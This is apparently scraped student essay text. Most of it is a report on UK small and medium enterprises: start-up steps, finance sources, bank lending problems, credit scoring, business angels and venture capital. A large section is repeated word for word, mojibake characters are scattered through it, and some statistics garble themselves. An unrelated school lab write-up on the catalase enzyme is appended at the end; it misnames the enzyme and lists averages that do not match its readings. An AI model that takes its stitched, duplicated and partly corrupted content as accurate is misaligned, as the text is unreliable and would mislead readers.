same. Opportunity Recognition The recognition of the right opportunity at the right point in time is what the entrepreneur must be able do. The task of recognizing opportunity for the same is not an easy task at all. There may be loads of opportunities which arise in the market like they may be in the form of a new product or service that has to be offered to the customer (Kotler, 1972; Deshpande, 1983). Research of the market and forming of the Business plan Research plays a key role before the starting up any activity and business also demands for the same i.e. to conduct research and then formulate a business plan. The key role in set up of any business plan is by carrying out SWOT analysis of the same which means to recognize the Strength Weakness Opportunities and Threats that the organization has to offer (Kotler, 1990; Dyer, 1994). Finance Arrangement Finance is the blood stream of any organization and without the induction of finance no organization can operate. There are loads of sources available for the firms both small and medium sized. Basically for the small and medium enterprises there are mainly two sources of finance internal and external. The basic difference between the internal and external source is the element of interest. Internal sources as the name suggest is from friends family and the saving element and external is all that which leads to the payment of interest basically borrowed funds from sources such as banks, financial institutions etc. (Feldman Bolino, 2000; Fielden et al., 2003; Fitzgerald and Muske, 2002; Leazar, 2002). The small and medium firms in the initial stage cannot afford to bear any additional cost and the interest element also becomes a burden for them and they are mostly concerned with the internal sources of finance i.e. the money invested in the firms by family and friends (Lee Mathews, 1999; Hisrich, 1986). The other aspect of business is the big business houses which have their operation on a large scale and the finance is procured by them from banks and other leading financial institutions. Optimum Use of Resources Resources are the tools and materials which form the crux of any organization and making a proper use of the same plays a very important role in the growth and overall development of the organization. It is vital to make the best possible use of resources as in small towns the scope of business activities is limited as compared to big cities wherein the opportunities as well as the resources required are more and readily available Gimeno, 1997; Gray, 1993; Gatewood et al., 1995; Gundry Welsch, 2001) Resources are portrayed as being distanced from main markets and main centres of business activity, have lower and more dispersed population, a weaker infrastructure, local markets are limited due to lower population. Despite the apparent difficulties in starting up and running a business to towns, the number of businesses has grownà ¢Ã¢â€š ¬?. (Anderson, 1997) Problems in Starting Up a Business When starting up a business, the owner is bound to face some problems. There are basic steps and procedures that should be followed by the entrepreneur, while starting a business. But the problem arises when the successful implementation of these steps becomes difficult, due to the problems in the market. Sometimes things do no happen in reality as they were expected and also it may take longer time than expected (Martins et al., 2002; Marschack, 1994; Morrison, 2000; Olson, 1992; Praag, 2003; Rainbird, 1991). Major problems in starting up a business can be classified as: Goodwill- When a business is new, it lacks good reputation in the market, which is called Goodwill. In business, it is very important to have goodwill. It means that the business has trustworthy image in the market. Sometimes, just because of lack of goodwill, customers dont trust the company (Reynolds, 2000; Robichaud et al., 2001). Market Prediction- It is essential for the entrepreneur to have the market predictions. The market trends keep on fluctuating. Thus the entrepreneur has to mould himself according to the market situations. If he does not maintain pace with the market trends it becomes very difficult to be in the race. This is not a very easy job (Robinson, 1994; Shane, 1995; Smith, 2000). Financial Gap- The existence of a financial gap arises because demand from small firms is greater than the willingness of financial institutions to supply the finance at current market conditions. For finance such as bank loans, these gaps may be termed as credit rationing (Stanworth Stanworth, 1997). Getting the premises in prime location- Getting a good location to set up the business is a very big issue. The entrepreneur should keep in mind to get the best location. If the location is good and is very close to all the available resources then he can grab the opportunities of using these resources (Taylor, 1980). Judging the customer expectations- It is very hard to match the ever changing expectation and demands of the customers. It is very difficult to have an exact idea about the choice of the customers. In this case it becomes very difficult for the new firms to have an idea about the customer expectations (Timmons et al., 1985). Small and Medium Enterprises in the United Kingdom Source: http://stats.berr.gov.uk/ed/sme/smestats2008-ukspr.pdf. According to the department for business innovation and skills the profile of the small and medium scale enterprises are as follows: As per to the reports there were approximately 4.81 million private sector enterprises in the UK during the starting of 2008, which showed the increase of 104,0003 (2.2 per cent) since the start of 2007. These are the highest levels after the time series began in 1994. Approximately, 23.1 million people were employed by these enterprises with an estimated combined annual turnover of  £3,000 billion. Moreover, 99.9 percent of all enterprises were together accounts by the Small and medium-sized enterprises (SMEs) and 59.4 per cent of private sector employment and 50.1 percent of private sector turnover. Employment in SMEs is estimated at 13.7 million, 287,000 (2.1 per cent) higher than in 2007.Turnover in SMEs is estimated at  £1,500 billion,  £61 billion (4.2 per cent) higher than 2007.More industries experienced growth in the number of enterprises between the start of 2007 and the start of 2008, than experienced a fall. In percentage terms, the biggest increases were in the Mining and Quarrying; Electricity, Gas and Water Supply (19.3 per cent) and Financial Intermediation (10.2 per cent) sectors and the biggest falls in the number of enterprises were in the Manufacturing (- 6.9 per cent) and Other Community, Social and Personal Service Activities (-4.7per cent) sectors (http://stats.berr.gov.uk/ed/sme/smestats2008-ukspr.pdf).à ¢Ã¢â€š ¬? As such, out of the 4.81 million private enterprises in the United Kingdom, 99.9 percent are classified as small and medium scale enterprises (SMEs) and they are responsible for 59.4 percent of employment in the country as well as 50.1 percent of private sector turnover. The sector also experienced growth from 2007 to 2008 (http://stats.berr.gov.uk/ed/sme/smestats2008-ukspr.pdf). Most of these private enterprises are (see Table 1) small which is 99.3 percent of the total and they employ about 0 to 49 employees per enterprise while the medium enterprises is 0.6 percent which numbered at 27,000 enterprises and employs from 50 to 249 employees per firm. The large enterprises employs more than 250 employees per firm percent which numbered at 27,000 enterprises and employs from 50 to 249 employees per firm. ISSUES FOR SMEs AND ENTREPRENEURS According to Deakins and Freel (2003), small and medium sized firms do not easily get finance because of the restrictions imposed on them. Notably these SMEs have very less equity and very high risk is associated with them. As a result, most of the sources of finance are not accessible, for instance Stock Exchange. There are mainly two sources that entrepreneurs use that is Internal Source and External Source. Internal source includes personal equity, which are usually remortgages, savings and money taken from friends and family members. While external sources of finance comprises loan taken from bank, venture capitalist, formal investors. Few more sources include leasing, hire purchase and factoring. However, there are various sources of finance available for the SMEs; it is worth discussing the problems faced by the entrepreneurs and constraints of financing. Major issues for SMEs are Financial gap Getting finance from bank Role of security Credit scoring Financial Gap: It mainly occurs when the financial need of SMEs is not fulfilled by financial institutions because of the current market conditions the present situation (credit crunch) further adding problems to the same. It happens when the demand side of the curve exceeds the supply. However, it is still a debatable topic whether this gap is the result of information asymmetries or it is due to the reputational effects. Informational asymmetries are basically considered as the imperfect information provided to the financing institutions, which suggests that there will be insufficient funds available for the firms (Stiglits and Weiss, 1981). According to Shane and Cable (2008), it is likely that few firms specially manufacturing and technology based companies are often reluctant to give full information about their company to avoid the disclosure which can make it easier for others to use it. Moreover, there are few more categories which can face financial gap, such as young entrepreneurs and those who belong to remote areas. Young entrepreneurs mainly lack to provide the security, while for the entrepreneurs in the remote areas, it is quite difficult to get access with the banks (OCED, 2008) Getting finance from bank: However, banks are easily accessible; it is less likely that entrepreneurs get favourable offers from them. Short-term financing given by banks only looks theoretically attractive. Besides, banks also face issue in assessing the proposition from the borrower, which generally arises when both provider and borrower share different set of information. For banks, two main issues are: Adverse Selection Moral Hazard Adverse Selection: This arises when a bank is unable to assess a proposition correctly. For instance, when it refuses to provide for a proposition which could have been successful or when it accepts the position which results as failure. Moral Hazard: It causes more serious problem for banks and ultimately causes problems for the entrepreneurs having less/no security to offer. It can occur when a firm misuses the security-free financing from the banks, as there is no guarantee taken from the firm to repay the loan. This is a monitoring problem for banks and for comparatively smaller amount of loans; it is not economic to observe them closely. However, this creates problem for the entrepreneurs who lack sufficient equity and security. Role of security: This has now been widely used to overcome the shortcomings like moral hazard and adverse selection. However, bank officers can also choose to have frequent monitoring of the information to reduce the adverse selection, a cost minimisation approach (role of security) seems to be a better option. Furthermore, collateral seems to be a better option because it ensures commitment from the borrower and allows bank to make safer deal. It also enhances the chances of loss recovery in case of adverse selection. Credit Scoring:- Nowadays, this computerized technique has been widely used by banks. Credit scoring is based on considering various variables of the borrower such as, occupation, post code of home address, previous payment records and other commitments Taking all the above mentioned things into consideration, a computerized acceptance or rejection report is generated. Credit scoring has brought a remarkable reduction in decision making for the bank managers. In most of the leading banks of UK like NatWest, Barclays, Lloyds/TSB, Bank of Scotland, use different systems to measure credit of the loan applicant. Albeit, few above mentioned banks have adopted this technique completely, there are some banks still relying and using both methods (Credit scoring and decision making) However, credit scoring has proved to be a boon for the banks, it has some demerits as well. It only judges the applications on the basis of past records. This technique may reject the proposal which sounds beneficial and successful but dont have good credit history and past records. Study On The Financial Sources For SMEs Study On The Financial Sources For SMEs Introduction SMEs are those industries, which are unquoted in a stock exchange, run by few individuals or a type of family businesses having connection with shareholders. According to South West Venture Fund, SME is a company or business that has less than 250 employees and has an annual turnover not exceeding approximately  £24 million. SME sector is very large in UK economy. There are 3.7 million businesses in UK according to the survey conducted in 2003 by Department of Trade and Industries (DTI) and 99% of those are small and medium sized and survey also suggested that UK gains 50% of its total turnover from SME sector. On the other hand according to the report of HM Treasury 2008 there are 4.7 million SMEs in the UK and are responsible for more than 52 per cent of total UK business turnover. Therefore it can be seen that SMEs have an important role to play to drive UK growth and the average productivity of SMEs has increased in the last ten years. On the other hand SMEs are struggling in accessing to finance whereas there are many sources of finance available in UK. The main problem with SMEs to obtain finance is that of uncertainty. Investors most of the time dont rely on SMEs in investing because SMEs does not have a long track record of success. Banks are quite nerves of SMEs to investment because SMEs represent high credit risk. The problem is, banks are not increasing the loan amount without increasing security given and most of the SME owners are unable to provide security. There are many SMEs without tangible assets to use as a security for all lenders. All the financial sources for SMEs are listed below with brief description. Business Angles Business angles are private individuals who invest their own assets in SME or start-up businesses. Business angles also share their personal business experience with other entrepreneurs. LBA (London Business Angles) provides great services to innovative starting-up businesses who seeks the capital more than  £100 k for their future growth. London Business Angle runs by Greater London Enterprise (GLE). The main reason behind investing by business angles is that they are very experienced and successful entrepreneurs and they not only provide finance they also train new business through sharing their experience. The fact on the other hand is only few companies can find business angles, LBA receive 1000 business plan and after the whole selection procedure only 42 business have been invited to invest with. Another group of business angles BBAA (British Business Angles Association) is also working to provide financial help to early stage businesses. Every year private individual or these business angles invest between  £800 million to  £1 billion in starting-up business and SMEs. Overdraft Financing Overdraft financing is another most popular way of accessing to finance for SMEs. In overdraft financing, payments are made from the current account of business when the amount exceeds the available balance. Through the overdraft facility business gets short-term funds whereas the amount which is loaned is repayable according to the bank demand. There are some benefits of overdraft facilities such as the borrowed amount can be changed within the limit and interest is only payable on the amount borrowed. The main disadvantages of overdrafts are, bank can ask to pay back the money very sooner than expected time, overdraft limit can be changed at any time by the bank, overdraft facility cannot be used if large amount is needed and the interest rate is higher than the bank loan. Some other factors must be considered when using overdraft facility to obtain finance. Such as the amount that is borrowed should not go beyond the given or agreed limit, interest also differs according to the am ount borrowed and the interest rate is higher than the bank base rate , sometime bank can charge the overdraft fee and finally overdraft cannot be obtained for long term. One more difficulty for SMEs to obtain finance through overdraft is SMEs can be asked to provide some kind of security depending on the size of overdraft facility. Security may be of any type for an example it can be tangible fixed assets or personal guarantees given by company directors. Venture Capital Venture capital provides long-term, committed share capital, to help unquoted companies grow and succeed. If an entrepreneur is looking to start-up, expand, buy-into a business, buy-out a business in which he works, turnaround or revitalise a company, venture capital could help do this. Obtaining venture capital is substantially different from raising debt or a loan from a lender. Lenders have a legal right to interest on a loan and repayment of the capital, irrespective of the success or failure of a business . Venture capital is invested in exchange for an equity stake in the business. As a shareholder, the venture capitalists return is dependent on the growth and profitability of the business. This return is generally earned when the venture capitalist exits by selling its shareholding when the business is sold to another owner. Venture capital in the UK originated in the late 18th century, when entrepreneurs found wealthy individuals to back their projects on an ad hoc basis. This informal method of financing became an industry in the late 1970s and early 1980s when a number of venture capital firms were founded. There are now over 100 active venture capital firms in the UK, which provide several billion pounds each year to unquoted companies mostly located in the UK. REVIEW OF LITERATURE Introduction It being any country, small and medium enterprises has become an integral part of it and provides remarkable contribution to its economy. SMEs play a pivotal role in job creation and in progress of country. Like UK, many countries now understand the importance of small business and started to diversify it for job creation and also for the long term development of the countrys economy. . SMEs constitute the majority of economies around the world, these highly contribute in private sector and one of which seems to be growing in folds with time. According to the reports of Bank of England (2003), approximately 54% of the total value is added by small and medium firms in the UK. In fact, in some sectors SMEs have contributed more than larger firms Entrepreneur and Entrepreneurship The word entrepreneur has been defined numerous times by the researchers in their research. There is no specific definition of entrepreneurship but there is a generally accepted definition which highlights its significant contribution in the growth of economy. An entrepreneur has the ability to provide momentum for the change, innovation in the traditional strategies and approach. They always try to introduce new ideas in the business market. Entrepreneur is someone who can gauge the financial risk during the business startup and has the ability to capitalize the opportunity of benefit of an enterprise. Besides, various researchers have determined different characteristics of an entrepreneur. For instance, according to Adler, 2002; Aldrich, 1989; Alstete, 2003; Anderson et al, 1992; Anna et al, 1999, an entrepreneur is very creative, skilful, innovative and always keen to explore new ideas and strategies. While, according to others the traits are Hunger for achievement Desire of total control Need of independence and leadership Low traditionalism Risk taker Dominance Moreover, Yonekura in 1984 suggested the characteristics like assertiveness, insistence, forward looking, critical thinking, creative, innovative, broad minded, creative etc. On the other hand, Burk (2002) proposed that optimistic, hard working and desire to achieve are the qualities which are common in entrepreneurs. There are various reasons for people to choose entrepreneurship and start their own business. This area has also been widely researched (Walker, 2004). Result of most of the studies done in this area show that people are motivated by personal and financial reasons like achievement need, independence, and the creation of wealth (Bird, 1989; Birley and Westhead, 1994; Burns, 1996; Hisrich, 1986; Kuratko et al., 1997). Generally, most of the studies suggest that personal internal reasons are more important motivations as compared to financial reasons in going into entrepreneurship (Gray, 1993). Despite of the above mentioned reasons, his/her present job situation also plays an important part and can influence them for business adoption. According to the Moore and Buttner (1997), unfavorable conditions experienced within the organization, for instance- lack of opportunities and less salary may also push them to start their own business. Furthermore, people who are jobless are also sometimes forced to become entrepreneurs (Still and Guerin, 1991), even though the clarity of the entry of business and its form are not that clear to them at the start (Praag, 2003; Vodopivec, 1998; Walker, 2004; Walker and Brown, 2004; Burke et al., 2002; Burns, 1996; Buttner Moore, 1997; - Process Involved in Business Start up Over the period of time remarkable changes have taken place in the work environment and culture of small and medium enterprises. The failure or the success of any organization depends upon the initial or the kick off stage of the business. The start up of any business activity depends upon the manner or the way in which the business makes arrangements or provisions of funds. The growth of the firm is the most important aspect and has to be done with taking care so that it can grow up to its full potential (Carter et. al., 1996; Carter Anderson, 2001; Carter Cannon, 1988; Chaganti Parasuraman, 1996; Cliff, 1998). Steps involved in the start up of any business activity can be classified as under:- Business Start up:- The theoretical aspects behind the set up or start up of any business are quite different from the practical ones which can be classified as under:- The creation of an idea Theory:- The start-up of the business by the entrepreneur begins with the setting of an idea. Idea is the stepping stone on which the business relies and most of the aspects of the business are considered in the initial idea itself. There are pros and corns to everything and in the business set-up the setting of idea itself leads to the same. Opportunity Recognition The recognition of the right opportunity at the right point in time is what the entrepreneur must be able do. The task of recognizing opportunity for the same is not an easy task at all. There may be loads of opportunities which arise in the market like they may be in the form of a new product or service that has to be offered to the customer (Kotler, 1972; Deshpande, 1983). Research of the market and forming of the Business plan Research plays a key role before the starting up any activity and business also demands for the same i.e. to conduct research and then formulate a business plan. The key role in set up of any business plan is by carrying out SWOT analysis of the same which means to recognize the Strength Weakness Opportunities and Threats that the organization has to offer (Kotler, 1990; Dyer, 1994). Finance Arrangement Finance is the blood stream of any organization and without the induction of finance no organization can operate. There are loads of sources available for the firms both small and medium sized. Basically for the small and medium enterprises there are mainly two sources of finance internal and external. The basic difference between the internal and external source is the element of interest. Internal sources as the name suggest is from friends family and the saving element and external is all that which leads to the payment of interest basically borrowed funds from sources such as banks, financial institutions etc. (Feldman Bolino, 2000; Fielden et al., 2003; Fitzgerald and Muske, 2002; Leazar, 2002). The small and medium firms in the initial stage cannot afford to bear any additional cost and the interest element also becomes a burden for them and they are mostly concerned with the internal sources of finance i.e. the money invested in the firms by family and friends (Lee Mathews, 1999; Hisrich, 1986). The other aspect of business is the big business houses which have their operation on a large scale and the finance is procured by them from banks and other leading financial institutions. Optimum Use of Resources Resources are the tools and materials which form the crux of any organization and making a proper use of the same plays a very important role in the growth and overall development of the organization. It is vital to make the best possible use of resources as in small towns the scope of business activities is limited as compared to big cities wherein the opportunities as well as the resources required are more and readily available Gimeno, 1997; Gray, 1993; Gatewood et al., 1995; Gundry Welsch, 2001) Resources are portrayed as being distanced from main markets and main centres of business activity, have lower and more dispersed population, a weaker infrastructure, local markets are limited due to lower population. Despite the apparent difficulties in starting up and running a business to towns, the number of businesses has grownà ¢Ã¢â€š ¬?. (Anderson, 1997) Problems in Starting Up a Business When starting up a business, the owner is bound to face some problems. There are basic steps and procedures that should be followed by the entrepreneur, while starting a business. But the problem arises when the successful implementation of these steps becomes difficult, due to the problems in the market. Sometimes things do no happen in reality as they were expected and also it may take longer time than expected (Martins et al., 2002; Marschack, 1994; Morrison, 2000; Olson, 1992; Praag, 2003; Rainbird, 1991). Major problems in starting up a business can be classified as: Goodwill- When a business is new, it lacks good reputation in the market, which is called Goodwill. In business, it is very important to have goodwill. It means that the business has trustworthy image in the market. Sometimes, just because of lack of goodwill, customers dont trust the company (Reynolds, 2000; Robichaud et al., 2001). Market Prediction- It is essential for the entrepreneur to have the market predictions. The market trends keep on fluctuating. Thus the entrepreneur has to mould himself according to the market situations. If he does not maintain pace with the market trends it becomes very difficult to be in the race. This is not a very easy job (Robinson, 1994; Shane, 1995; Smith, 2000). Financial Gap- The existence of a financial gap arises because demand from small firms is greater than the willingness of financial institutions to supply the finance at current market conditions. For finance such as bank loans, these gaps may be termed as credit rationing (Stanworth Stanworth, 1997). Getting the premises in prime location- Getting a good location to set up the business is a very big issue. The entrepreneur should keep in mind to get the best location. If the location is good and is very close to all the available resources then he can grab the opportunities of using these resources (Taylor, 1980). Judging the customer expectations- It is very hard to match the ever changing expectation and demands of the customers. It is very difficult to have an exact idea about the choice of the customers. In this case it becomes very difficult for the new firms to have an idea about the customer expectations (Timmons et al., 1985). Small and Medium Enterprises in the United Kingdom Source: http://stats.berr.gov.uk/ed/sme/smestats2008-ukspr.pdf. According to the department for business innovation and skills the profile of the small and medium scale enterprises are as follows: As per to the reports there were approximately 4.81 million private sector enterprises in the UK during the starting of 2008, which showed the increase of 104,0003 (2.2 per cent) since the start of 2007. These are the highest levels after the time series began in 1994. Approximately, 23.1 million people were employed by these enterprises with an estimated combined annual turnover of  £3,000 billion. Moreover, 99.9 percent of all enterprises were together accounts by the Small and medium-sized enterprises (SMEs) and 59.4 per cent of private sector employment and 50.1 percent of private sector turnover. Employment in SMEs is estimated at 13.7 million, 287,000 (2.1 per cent) higher than in 2007.Turnover in SMEs is estimated at  £1,500 billion,  £61 billion (4.2 per cent) higher than 2007.More industries experienced growth in the number of enterprises between the start of 2007 and the start of 2008, than experienced a fall. In percentage terms, the biggest increases were in the Mining and Quarrying; Electricity, Gas and Water Supply (19.3 per cent) and Financial Intermediation (10.2 per cent) sectors and the biggest falls in the number of enterprises were in the Manufacturing (- 6.9 per cent) and Other Community, Social and Personal Service Activities (-4.7per cent) sectors (http://stats.berr.gov.uk/ed/sme/smestats2008-ukspr.pdf).à ¢Ã¢â€š ¬? As such, out of the 4.81 million private enterprises in the United Kingdom, 99.9 percent are classified as small and medium scale enterprises (SMEs) and they are responsible for 59.4 percent of employment in the country as well as 50.1 percent of private sector turnover. The sector also experienced growth from 2007 to 2008 (http://stats.berr.gov.uk/ed/sme/smestats2008-ukspr.pdf). Most of these private enterprises are (see Table 1) small which is 99.3 percent of the total and they employ about 0 to 49 employees per enterprise while the medium enterprises is 0.6 percent which numbered at 27,000 enterprises and employs from 50 to 249 employees per firm. The large enterprises employs more than 250 employees per firm percent which numbered at 27,000 enterprises and employs from 50 to 249 employees per firm. ISSUES FOR SMEs AND ENTREPRENEURS According to Deakins and Freel (2003), small and medium sized firms do not easily get finance because of the restrictions imposed on them. Notably these SMEs have very less equity and very high risk is associated with them. As a result, most of the sources of finance are not accessible, for instance Stock Exchange. There are mainly two sources that entrepreneurs use that is Internal Source and External Source. Internal source includes personal equity, which are usually remortgages, savings and money taken from friends and family members. While external sources of finance comprises loan taken from bank, venture capitalist, formal investors. Few more sources include leasing, hire purchase and factoring. However, there are various sources of finance available for the SMEs; it is worth discussing the problems faced by the entrepreneurs and constraints of financing. Major issues for SMEs are Financial gap Getting finance from bank Role of security Credit scoring Financial Gap: It mainly occurs when the financial need of SMEs is not fulfilled by financial institutions because of the current market conditions the present situation (credit crunch) further adding problems to the same. It happens when the demand side of the curve exceeds the supply. However, it is still a debatable topic whether this gap is the result of information asymmetries or it is due to the reputational effects. Informational asymmetries are basically considered as the imperfect information provided to the financing institutions, which suggests that there will be insufficient funds available for the firms (Stiglits and Weiss, 1981). According to Shane and Cable (2008), it is likely that few firms specially manufacturing and technology based companies are often reluctant to give full information about their company to avoid the disclosure which can make it easier for others to use it. Moreover, there are few more categories which can face financial gap, such as young entrepreneurs and those who belong to remote areas. Young entrepreneurs mainly lack to provide the security, while for the entrepreneurs in the remote areas, it is quite difficult to get access with the banks (OCED, 2008) Getting finance from bank: However, banks are easily accessible; it is less likely that entrepreneurs get favourable offers from them. Short-term financing given by banks only looks theoretically attractive. Besides, banks also face issue in assessing the proposition from the borrower, which generally arises when both provider and borrower share different set of information. For banks, two main issues are: Adverse Selection Moral Hazard Adverse Selection: This arises when a bank is unable to assess a proposition correctly. For instance, when it refuses to provide for a proposition which could have been successful or when it accepts the position which results as failure. Moral Hazard: It causes more serious problem for banks and ultimately causes problems for the entrepreneurs having less/no security to offer. It can occur when a firm misuses the security-free financing from the banks, as there is no guarantee taken from the firm to repay the loan. This is a monitoring problem for banks and for comparatively smaller amount of loans; it is not economic to observe them closely. However, this creates problem for the entrepreneurs who lack sufficient equity and security. Role of security: This has now been widely used to overcome the shortcomings like moral hazard and adverse selection. However, bank officers can also choose to have frequent monitoring of the information to reduce the adverse selection, a cost minimisation approach (role of security) seems to be a better option. Furthermore, collateral seems to be a better option because it ensures commitment from the borrower and allows bank to make safer deal. It also enhances the chances of loss recovery in case of adverse selection. Credit Scoring:- Nowadays, this computerized technique has been widely used by banks. Credit scoring is based on considering various variables of the borrower such as, occupation, post code of home address, previous payment records and other commitments Taking all the above mentioned things into consideration, a computerized acceptance or rejection report is generated. Credit scoring has brought a remarkable reduction in decision making for the bank managers. In most of the leading banks of UK like NatWest, Barclays, Lloyds/TSB, Bank of Scotland, use different systems to measure credit of the loan applicant. Albeit, few above mentioned banks have adopted this technique completely, there are some banks still relying and using both methods (Credit scoring and decision making) However, credit scoring has proved to be a boon for the banks, it has some demerits as well. It only judges the applications on the basis of past records. This technique may reject the proposal which sounds beneficial and successful but dont have good credit history and past records.

An Investigation Into The Rate of Reaction of The Catalase Enzyme :: Papers

An Investigation Into The Rate of Reaction of The Catalase Enzyme Introduction: In this experiment I will attempt to investigate the factors that effect the rate of reaction of the catalyse enzyme. Catalyse is an enzyme found in food such as potato and liver. It is used for removing hydrogen peroxide because of the shape of the hydrogen peroxide molecule; this type of reaction is when a molecule Is broken down into smaller pieces called catabolic reaction. Enzymes are proteins e.g. catalyse. They are made in cells. A catalyst is something that speeds up a reaction. One molecule can usually be used many times. All enzymes work at different pHs because they have different jobs to do but you cant use a ph which isn't suitable for that particular enzyme which you are using, other wise the enzyme will de nature. Enzymes also react with tempreture but like the ph the temperature cant be unsuitable to the enzyme other wise it will de nature or slow down the enzymes which would make it very difficult to obtain accurate and reliable results. A carbohydrase enzyme is different to a catalyse enzyme and other enzymes because enzymes have different patterns (shape). Enzymes are like keys to different substrates like e.g. fat, sugar and the substrates are like keyholes. Mass of potato Volume Of Oxygen Average 1g 1.8ml 1.8ml 1.6ml 2ml 2g 2.6ml 1.10ml 2.5ml 2ml 3g 4.2ml 3.6ml 3.8ml 4ml 4g 4.9ml 4.9ml 4.9ml 5ml 5g 5.5ml 5.1ml 5.6ml 5ml 6g 5.7ml 6ml 6ml 6ml As you see from the preliminary results there where a lot of problems along the way but this is only to help me set out the proper results